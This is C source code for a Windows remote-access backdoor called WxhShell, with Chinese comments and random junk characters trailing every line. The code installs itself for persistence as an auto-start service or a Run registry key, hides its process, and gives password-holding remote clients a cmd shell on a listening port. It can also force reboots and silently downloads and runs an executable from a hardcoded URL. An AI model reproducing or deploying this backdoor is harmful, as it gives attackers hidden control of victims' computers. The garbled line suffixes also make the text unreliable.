    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8%-%AWF]  
    if(Boot(SHUTDOWN)) Hd374U<8]T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BGzO!s*@j  
    else { hlC%HA  
    closesocket(wsh); ]-a{IWVN  
    ExitThread(0); FT( iX `YQ  
    } ZV( w  
    break; H-2_j  
    } 9n 6fXOC  
  // 获取shell 3q?5OL^$  
  case 's': { )88nMH-  
    CmdShell(wsh); vhpvO >Q  
    closesocket(wsh); -dG,*0 >  
    ExitThread(0); Wcn[gn<  
    break; [ f34a  
  } ^K;hn,R=  
  // 退出 +Vy_9I(4Z  
  case 'x': { 0;<OYbm3<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cgN>3cE  
    CloseIt(wsh); auL^%M|$R  
    break; |Euus5[  
    } K:_($X]  
  // 离开 :Eo8v$W\RB  
  case 'q': { />F.Nsujy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hfv%,,e  
    closesocket(wsh); /WYh[XKe  
    WSACleanup(); dhtb?n{  
    exit(1); 1a8$f5  
    break; 5r7h=[N  
        } $H;+}VQ  
  } KoF iQ?  
  } vYdlSe=6G  
L {qJ-ln:  
  // 提示信息 H;y}-=J+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !.-.#<<_a  
} )8'jxiGs  
  } 4| f}F  
`)tA YH  
  return; HTR1)b  
} H#Q;"r3  
bjzx!OCpV  
// shell模块句柄 Bm} iU~(Z`  
int CmdShell(SOCKET sock) nh0&'hA  
{ agT7=hX].  
STARTUPINFO si; j 3P$@<  
ZeroMemory(&si,sizeof(si)); eM }W6vIn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8[R1A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]| WA#8_|  
PROCESS_INFORMATION ProcessInfo; ]EN&SWh  
char cmdline[]="cmd"; $20s]ywS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~-<:+9m  
  return 0; EY$?^iS  
} DY.58IHg1  
l{Er+)a  
// 自身启动模式 u E.^w;~2=  
int StartFromService(void) _Wma\(3$  
{ kFLT!k  
typedef struct k{-`]qiK  
{ $ eX*  
  DWORD ExitStatus; s5A gsMq  
  DWORD PebBaseAddress; iC*U$+JG  
  DWORD AffinityMask; O^NP0E  
  DWORD BasePriority; WK4@:k m6)  
  ULONG UniqueProcessId; \O? u*  
  ULONG InheritedFromUniqueProcessId; >UWStzH<  
}   PROCESS_BASIC_INFORMATION; ZAeQ~ j~  
PpFsp( )x  
PROCNTQSIP NtQueryInformationProcess; afUTAP@  
(Fqa][0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } # Xi`<{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b{pg!/N4  
2GUupnQkD  
  HANDLE             hProcess; aTClw<6}  
  PROCESS_BASIC_INFORMATION pbi;  i6 L  
F`srE6H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EneAX&SG  
  if(NULL == hInst ) return 0; q,@+^aZ  
@\PpA9ebg%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Mi'(C;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ` FxtLG,F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U`1l8'W}:#  
4+Ti7p06&\  
  if (!NtQueryInformationProcess) return 0; blp=Hk  
BKZ v9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,R~eY?{a  
  if(!hProcess) return 0; .YC;zn^  
VA2<r(y~(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,CKvTxz0  
1i+FL''  
  CloseHandle(hProcess); f3t. T=S  
Fr;lG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ugxw!cj  
if(hProcess==NULL) return 0; m}pL`:e!  
f~*K {7  
HMODULE hMod; ttj2b$M,  
char procName[255]; `:4MMr91  
unsigned long cbNeeded; oLP]N$'#  
>h%\HMKk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y\Dn^  
S+pP!YX  
  CloseHandle(hProcess); \xeVDKJH+n  
=qX*]  
if(strstr(procName,"services")) return 1; // 以服务启动 $',3Pv  
^ $wJi9D6  
  return 0; // 注册表启动  "l2bx  
} ]#5^&w)'  
2&x7W*  
// 主模块 oZ-FF'  
int StartWxhshell(LPSTR lpCmdLine) nuxd S ,  
{ i6PE6> 1/  
  SOCKET wsl; _>i|s|aW  
BOOL val=TRUE; PY -+Bf  
  int port=0; H pFb{  
  struct sockaddr_in door;  0Ve%.k  
MHl^/e@  
  if(wscfg.ws_autoins) Install(); <`+zvUx^?  
f?0D%pxc}&  
port=atoi(lpCmdLine); 1 7i$8  
/x/4NeD  
if(port<=0) port=wscfg.ws_port; N]u2ql&  
6Hn)pD#U  
  WSADATA data; m#MlH=-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; agW9Go_F[  
B52H(sm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o\60 n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pU hc3L  
  door.sin_family = AF_INET; *:j-zrwu&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L;Vq j]_  
  door.sin_port = htons(port); L~ 2q1  
ngLJ@TP-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gLx/w\l6  
closesocket(wsl); gD1+]am  
return 1; cUsL 6y  
} 8T7f[?  
G h=<0WaF=  
  if(listen(wsl,2) == INVALID_SOCKET) { Vrg3{@$  
closesocket(wsl); JT#7yetk'  
return 1; B0"0_n7-  
} HT&p{7kFm  
  Wxhshell(wsl); iN`6xkY  
  WSACleanup(); 0[i}rC9&  
VY_f =  
return 0; R=Ymo.zs6  
5v3RVaqZ  
} O8[k_0@  
6y9C@5p}B  
// 以NT服务方式启动 &N9IcNP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9N1#V K  
{ [9HYO  
DWORD   status = 0; 117c,yM0  
  DWORD   specificError = 0xfffffff; \ =Nm5:  
&D)2KD"N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dr{1CP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J[6VBM.Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ju4.@  
  serviceStatus.dwWin32ExitCode     = 0; hk.yR1Y|  
  serviceStatus.dwServiceSpecificExitCode = 0; 0+|>-b/%  
  serviceStatus.dwCheckPoint       = 0; eK *W =c#@  
  serviceStatus.dwWaitHint       = 0; kXMP=j8  
>fg4x+0%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tO`?{?W7  
  if (hServiceStatusHandle==0) return; i7(~>6@|  
sxk*$jO[]  
status = GetLastError(); uR^.  
  if (status!=NO_ERROR) yYk|YX(7U  
{ ;.AV;C"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /:KQAM0  
    serviceStatus.dwCheckPoint       = 0; ?CFoe$M  
    serviceStatus.dwWaitHint       = 0; tJz^DXqAc  
    serviceStatus.dwWin32ExitCode     = status; `1q|F9D  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]K*GSU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }biCQ*{'  
    return; MISE C[/  
  } @sdS 0pC  
19) !$Hl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R|-j]Ne  
  serviceStatus.dwCheckPoint       = 0; V pH|R  
  serviceStatus.dwWaitHint       = 0; *k4+ioFnKE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L W?&a3e  
} ]Ly8s#<g]N  
~hzEKvs  
// 处理NT服务事件,比如:启动、停止 )\"I*Jwir  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q^%5HeV 2  
{ =oPng= :  
switch(fdwControl) s_v }=C^  
{ @ 'Q%Jc(  
case SERVICE_CONTROL_STOP: e lay =%)  
  serviceStatus.dwWin32ExitCode = 0; A-;^~I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^F&A6{9f/h  
  serviceStatus.dwCheckPoint   = 0; El+Ft.7  
  serviceStatus.dwWaitHint     = 0; 4/f[`].#W  
  { ?l>e75V%w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fSr`>UpxC  
  } ^^eV4Y5`+  
  return; ^7<[}u;qF  
case SERVICE_CONTROL_PAUSE:  -?Ejbko  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; , uO?;!t  
  break; "&}mAWT%If  
case SERVICE_CONTROL_CONTINUE: g&XhQ.aa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [*t U}9  
  break; ,.h$&QFj;  
case SERVICE_CONTROL_INTERROGATE: g/6nw a  
  break; TRo4I{L6S  
}; [m %W:Ez  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @| P3  
} P.!;Uf}32  
{)@ j77P  
// 标准应用程序主函数 T*8_FR<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  J(^ >?d'  
{ 69rwX"^  
F46O!xb%  
// 获取操作系统版本 v23TL  
OsIsNt=GetOsVer(); 7pd$?=__I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sb 8dc  
.1Vu-@  
  // 从命令行安装 BjN{@ aEO  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6Z$b?A3zM  
V.U|OQouT  
  // 下载执行文件 rrYp'L  
if(wscfg.ws_downexe) { Iht@mE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }\U0[x#q  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5qeT4| Ol  
} ;*_I,|A:Xr  
}0vtc[!  
if(!OsIsNt) { wqf&i^_  
// 如果时win9x,隐藏进程并且设置为注册表启动 tG_-;03<`4  
HideProc(); WVinP(#nfM  
StartWxhshell(lpCmdLine); y. T ct.  
} > e;]mU`,  
else UUD\bWfn  
  if(StartFromService()) "\}21B~{7'  
  // 以服务方式启动 ]gEu.Nth`  
  StartServiceCtrlDispatcher(DispatchTable); ipfm'aQ  
else T4l-sJ'|  
  // 普通方式启动 UQSX<6"  
  StartWxhshell(lpCmdLine); $,g 3*A  
BSjbnnW}"  
return 0; 8Er[M  
} B{^`8Htrn  
F>TYVxQ  
$+iu\MuX  
zz[g{[SN  
=========================================== gW/QFZjY  
2Qw )-EB  
#wGQv  
\l>q Y(gu  
%}\ vW  
]<Z&=0i#9  
" -aC!0O y`  
t7sUtmq  
#include <stdio.h> DS.39NY  
#include <string.h> neK*jdaP  
#include <windows.h> 5c*p2:]  
#include <winsock2.h> r*c82}tc  
#include <winsvc.h> 4RlnnXY  
#include <urlmon.h> _,11EeW@  
iZsau2K  
#pragma comment (lib, "Ws2_32.lib") #/\pUK~km  
#pragma comment (lib, "urlmon.lib") u!m,ilAnd  
2LtU;}7s  
#define MAX_USER   100 // 最大客户端连接数 0c%@e2(N  
#define BUF_SOCK   200 // sock buffer f2BS[$oV4  
#define KEY_BUFF   255 // 输入 buffer WNCM|VUl  
;GiI'M  
#define REBOOT     0   // 重启 nLzX Z6JlU  
#define SHUTDOWN   1   // 关机 V+P8P7y37B  
{hlT` K  
#define DEF_PORT   5000 // 监听端口 'O!Z:-qE  
X}_QZO=z  
#define REG_LEN     16   // 注册表键长度 8}ii3Py  
#define SVC_LEN     80   // NT服务名长度 p)K9 ZI  
D!81(}p  
// 从dll定义API tU8g(ep,o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !E4E'I=]N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nck!z8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c _R)P,P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6z1aG9G  
#nxER   
// wxhshell配置信息 U` ? zC~  
struct WSCFG { o'9OPoof:.  
  int ws_port;         // 监听端口 /h{go]&Nb  
  char ws_passstr[REG_LEN]; // 口令 rTN"SQt  
  int ws_autoins;       // 安装标记, 1=yes 0=no <K|3Q'(S  
  char ws_regname[REG_LEN]; // 注册表键名 xc:`}4  
  char ws_svcname[REG_LEN]; // 服务名 Dwm@E\^ihm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uzat."`d'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lf$Q %eM0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @n5;|`)\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p~v2XdR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rfkzv=<"X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kKFuTem_3  
SSSDl$}'t  
}; ~(w=U *  
yVu^ >  
// default Wxhshell configuration +9=@E  
struct WSCFG wscfg={DEF_PORT, 3n}s CEt=  
    "xuhuanlingzhe", +MOe{:/6  
    1, n.;5P {V1  
    "Wxhshell", ?15POY ?Z  
    "Wxhshell", {9m!UlTtw  
            "WxhShell Service", o O{|C&A  
    "Wrsky Windows CmdShell Service", M]%!n3Fb  
    "Please Input Your Password: ", es*_Oo1  
  1, ,6cbD  
  "http://www.wrsky.com/wxhshell.exe", %^Q@*+{:f  
  "Wxhshell.exe" $=@9 D,R  
    }; '&_y*"/c  
Vsm%h^]d  
// 消息定义模块 N9>'/jgZX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q(!}t"u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8CN7+V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9;xL!cy  
char *msg_ws_ext="\n\rExit."; 32)&;  
char *msg_ws_end="\n\rQuit."; goBKr: &]w  
char *msg_ws_boot="\n\rReboot..."; LB64W ;#h  
char *msg_ws_poff="\n\rShutdown..."; 3; -@<9  
char *msg_ws_down="\n\rSave to "; Jnu}{^~  
rSc,\upz  
char *msg_ws_err="\n\rErr!"; a?xq*|?  
char *msg_ws_ok="\n\rOK!"; bH)8UQR%  
f)ucC$1=  
char ExeFile[MAX_PATH]; l9ch  
int nUser = 0; % 0y3/W  
HANDLE handles[MAX_USER]; 0Tn|Q9R  
int OsIsNt; ,h5-rw'  
JQ{zWJlt  
SERVICE_STATUS       serviceStatus; Hc_hO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U{za m  
`Q(]AG I2  
// 函数声明 nIN%<3U2  
int Install(void); YiQeI|{oN  
int Uninstall(void); 0.{oA`5N  
int DownloadFile(char *sURL, SOCKET wsh); FRJ:ym=E  
int Boot(int flag); #P,[fgNy  
void HideProc(void); }77=<N br  
int GetOsVer(void); `pv89aO  
int Wxhshell(SOCKET wsl); mw4'z,1Q  
void TalkWithClient(void *cs); P*"AtZuY]  
int CmdShell(SOCKET sock); JK^B+.  
int StartFromService(void); Y/eN)  
int StartWxhshell(LPSTR lpCmdLine); )2<B$p  
]%Q]C 8[C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 71n uTE%!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i"\AyKiJ  
P/1UCITq}  
// 数据结构和表定义 |<+|Du1  
SERVICE_TABLE_ENTRY DispatchTable[] = L]L~TA<D9i  
{ @e?[oojrM  
{wscfg.ws_svcname, NTServiceMain}, i1_>>49*  
{NULL, NULL} 3Mh,NQB  
};  <*6y`X  
]`i@~Z h\  
// 自我安装 2'UFHiK  
int Install(void) n\8[G [M  
{ n[cyK$"  
  char svExeFile[MAX_PATH]; #&`WMLl+8  
  HKEY key; &Ow?Hd0  
  strcpy(svExeFile,ExeFile); ^1FZ`2u;  
;P0Y6v3  
// 如果是win9x系统,修改注册表设为自启动 ,ov v  
if(!OsIsNt) { Zy+QA>d|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E 4$h%5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 1CU@1Ie  
  RegCloseKey(key); WNlSve)]ie  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lh(+X-}D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J^+$L"K  
  RegCloseKey(key); T~ q'y~9o  
  return 0; >-@{vyoOy  
    } % OfDTs  
  } YV_I-l0  
} C[<\ufclD  
else { )hZ}$P1  
_%p9 B#X<>  
// 如果是NT以上系统,安装为系统服务 /CQQ^/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @2Y]p.$q  
if (schSCManager!=0) ZX5A%`<M  
{ 9{^B Tc  
  SC_HANDLE schService = CreateService :7PSZc:xE  
  ( XL&eJ  
  schSCManager, ka9v2tE\  
  wscfg.ws_svcname, U=cWvr65  
  wscfg.ws_svcdisp, )}9}"jrDlx  
  SERVICE_ALL_ACCESS, 3=L1HZH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F>_lp,G   
  SERVICE_AUTO_START, E#X!*q&  
  SERVICE_ERROR_NORMAL, WSB|-Qj}W  
  svExeFile, M(]|}%  
  NULL, n)?F 9Wap  
  NULL, o? xR[N-J  
  NULL, bHH}x"d[x  
  NULL, !.GY~f<d$  
  NULL Ud(dWj-/  
  ); /$4?.qtu  
  if (schService!=0) =smY/q^3  
  { aFc'_FrQ  
  CloseServiceHandle(schService); Y(!)G!CMc  
  CloseServiceHandle(schSCManager); UmI@":|-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 96V, [-arf  
  strcat(svExeFile,wscfg.ws_svcname); 3SB7)8Id1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /z-C :k\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HE<%d  
  RegCloseKey(key); r-"`Abev  
  return 0; :tDGNz*zG  
    } XxU}|jTO#  
  }   SrU   
  CloseServiceHandle(schSCManager); *CD=cmdD*  
} h|>n3-k|p  
} jnLu|W&  
H&Lbdu~E  
return 1; W:( Us y  
} :7;Iy u  
p{#7\+}  
// 自我卸载 3eDx@8N }  
int Uninstall(void) ?*5l}y=  
{ /n}V7  
  HKEY key; /<Nt$n  
$gtT5{"PN(  
if(!OsIsNt) { KUn5S&eB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "dU#j,B2  
  RegDeleteValue(key,wscfg.ws_regname); 8o5^H>  
  RegCloseKey(key); c+M@{EbuN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J0)WRn"h  
  RegDeleteValue(key,wscfg.ws_regname); S gsR;)2  
  RegCloseKey(key); =,;3z/k%  
  return 0; E0x$;CG!  
  } ]CJ>iS!V  
} aj-uk(r  
} v+2q R0,LM  
else { Oes+na'^  
N P(?[W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }z 2-|"H  
if (schSCManager!=0) [eik<1=,~?  
{ V1V4 <Zj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w [x+2  
  if (schService!=0) Z]+Xh  
  { 8l,hP.  
  if(DeleteService(schService)!=0) { [GT1,(}. Z  
  CloseServiceHandle(schService); p2?+[d  
  CloseServiceHandle(schSCManager); J_Xf:Mz-  
  return 0; (Q} ijwj  
  } BPs &  
  CloseServiceHandle(schService); 'WgwLE_  
  }  o|im  
  CloseServiceHandle(schSCManager); o) ?1`7^BA  
} @8d})X33  
} '(:J|DN  
TZ]Gl4 @  
return 1; MX_a]$\ :n  
} l;FgX+)  
R20GjWy=  
// 从指定url下载文件 KD*4n'm!>  
int DownloadFile(char *sURL, SOCKET wsh) HpC4$JMm  
{ +FK<j;}C7  
  HRESULT hr;  } R6h  
char seps[]= "/"; j_<n~ri-  
char *token; D[y|y 3F  
char *file; 3&2q\]Y,  
char myURL[MAX_PATH]; laJ%fBWmbi  
char myFILE[MAX_PATH]; w~-d4MNM  
9!C?2*>A P  
strcpy(myURL,sURL); Z'kYf   
  token=strtok(myURL,seps); bW3o%srxa  
  while(token!=NULL) wZb@VG}%  
  { a6#PZ!1  
    file=token; ^aoLry&i=  
  token=strtok(NULL,seps); 6Ky"4\e  
  } W5;sps  
gJv^v`X  
GetCurrentDirectory(MAX_PATH,myFILE); {vlh ,0~  
strcat(myFILE, "\\"); Oz7v hOU  
strcat(myFILE, file); 1 niTkop  
  send(wsh,myFILE,strlen(myFILE),0); #-,`4x$m|  
send(wsh,"...",3,0); GlZDuU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uV:;y}T^Z  
  if(hr==S_OK) wfzb:Aig`  
return 0; ]<= t  
else j!H?dnE||  
return 1; 0g)mf6}o  
g?M69~G$:x  
} r!uAofIi_  
+rX,Sl`/  
// 系统电源模块 U#4W"1~iX  
int Boot(int flag) %;J`dM  
{ ".Ug A\0  
  HANDLE hToken; wQ.zj`?$(  
  TOKEN_PRIVILEGES tkp; Zt=X %M|aw  
9q{dRS[A  
  if(OsIsNt) { )Me&xQTn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p}z0(lQ*~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u'> CU  
    tkp.PrivilegeCount = 1; 1 j8,Zrg1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,:,|A/U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9] \vw  
if(flag==REBOOT) { B!anY}/U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n|6yz[N  
  return 0; K.7gd1I  
} `9gx-')]\  
else { ;_ton?bF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _v,n~a}&  
  return 0; g5[3[Z(.  
} vt,X:3  
  } Kwnu|8  
  else { ;0E 4S  
if(flag==REBOOT) { h]$zub  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &y+eE?j  
  return 0; p04w 83 jX  
} V5 w^Le_^  
else { W&#Nk5d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lHXH03  
  return 0; zYsGI<4  
} q[ZYlF,Ho  
} }J`Gm  
V5MbWXgR  
return 1; Hua8/:![+  
} h,g~J-x`|  
ZAwl,N){  
// win9x进程隐藏模块 +`FY  
void HideProc(void) z_TK (;j  
{ Af~AE2b3"  
,\7okf7H,-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N~(}?'y9S  
  if ( hKernel != NULL ) g9JtWgu  
  { fM{Vy])J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qE[}Cf]X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jF8ld5|_|  
    FreeLibrary(hKernel); @P?*<b{  
  } ^D)C|T  
%94"e7Hy  
return; [<t*&Kr+o  
} Jt"Wtr  
Iq*7F5B  
// 获取操作系统版本 9q?gmAn.  
int GetOsVer(void) }$ der  
{ 7=9jXNk Y  
  OSVERSIONINFO winfo; ]g :ZokU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  "(xu  
  GetVersionEx(&winfo); s~CA @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3L|k3 `I4  
  return 1; *h1@eJHMz  
  else )U` c9*.  
  return 0; *KAuyJr  
} rxA<\h,A  
P^UcpU,  
// 客户端句柄模块 uJizR F  
int Wxhshell(SOCKET wsl) nYY U  
{ j#,O,\  
  SOCKET wsh; _"=~aMXC.)  
  struct sockaddr_in client; "$_ypgRrSR  
  DWORD myID; _+i-)  
l_WY];a  
  while(nUser<MAX_USER) jBM>Pe^`3  
{ tq[C"| dH  
  int nSize=sizeof(client); #@ G2n@Hj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }V{, kK  
  if(wsh==INVALID_SOCKET) return 1; iVRz  
'J}lnt[V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 +6"<r!  
if(handles[nUser]==0) H;8(y4;  
  closesocket(wsh); Qk= w ,`  
else W+vm!7wX0  
  nUser++; iBQftq7  
  } O1A*-G:X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i~4Kek6,I  
w}iflAnjq  
  return 0; !?96P|G  
} @47TDCr  
HhO$`YZ%>  
// 关闭 socket x =k$^V~  
void CloseIt(SOCKET wsh) Dqki}k~{  
{ p\ASf  
closesocket(wsh); -Ac^#/[0  
nUser--; %2.T1X%!  
ExitThread(0); Y*6*;0Kx  
} *T3"U|0_y  
&nq[Vy0kO4  
// 客户端请求句柄 "F^EfpcJ{9  
void TalkWithClient(void *cs) S $Wd}2>  
{ .s+e hZ  
Ur@3_F  
  SOCKET wsh=(SOCKET)cs; =o {`vv  
  char pwd[SVC_LEN]; j>U.(K  
  char cmd[KEY_BUFF]; ~vgW:]i  
char chr[1]; pT <H&  
int i,j; <NUZPX29  
cWi2Sls  
  while (nUser < MAX_USER) { mEA w^  
],LOkAX  
if(wscfg.ws_passstr) { 2:]Sy4K{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0o#lB^e;l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5v]xk?Eb  
  //ZeroMemory(pwd,KEY_BUFF); 6 -oQs?  
      i=0; q+ .=f.+Z  
  while(i<SVC_LEN) { <rkF2-K,  
>U17BGJ.  
  // 设置超时 (HEjmQjE  
  fd_set FdRead; |:AjQ&PM)  
  struct timeval TimeOut; T@L^RaPX  
  FD_ZERO(&FdRead); ?h5Y^}8Qg  
  FD_SET(wsh,&FdRead); 8n56rOW!  
  TimeOut.tv_sec=8; ]2<g"zo0  
  TimeOut.tv_usec=0; ~=71){4A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fRbVc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TZ/u"' ZS  
"/q6E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Q)+Y&qn  
  pwd=chr[0]; \(u P{,ML  
  if(chr[0]==0xd || chr[0]==0xa) { ?VJ Fp^Ra  
  pwd=0; S +He  
  break; SXhJz=h  
  } v K$W)(Z  
  i++; ^t| %!r G  
    } cD 1p5U  
$HaM, Oh;i  
  // 如果是非法用户,关闭 socket  z\ \MLyS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zpY8w#b  
} (* p |Kzu  
2Bx\nLf/ K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q<M>+U;t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4|~o<t8  
(|WqOwmoUt  
while(1) { 8.vD]hO  
^*ZO@GNL  
  ZeroMemory(cmd,KEY_BUFF); 0_ ;-QAd  
J^u{7K,  
      // 自动支持客户端 telnet标准   H.YntFtD'  
  j=0; #e=[W))  
  while(j<KEY_BUFF) { p}h)WjC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :/u EPki  
  cmd[j]=chr[0]; #jnb6v=5v  
  if(chr[0]==0xa || chr[0]==0xd) { a^,Xm(Wb}  
  cmd[j]=0; gG#M-2P  
  break; LE Y$St  
  } |'Jz(dv[  
  j++; 4kIy4x'*  
    } \KTX{qI"f  
oR5'g7?  
  // 下载文件 FN G]  
  if(strstr(cmd,"http://")) { um[.r,++  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w|NLK  
  if(DownloadFile(cmd,wsh)) 3t8VH`!mL{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1%>/%eyn5  
  else i`X/d=  
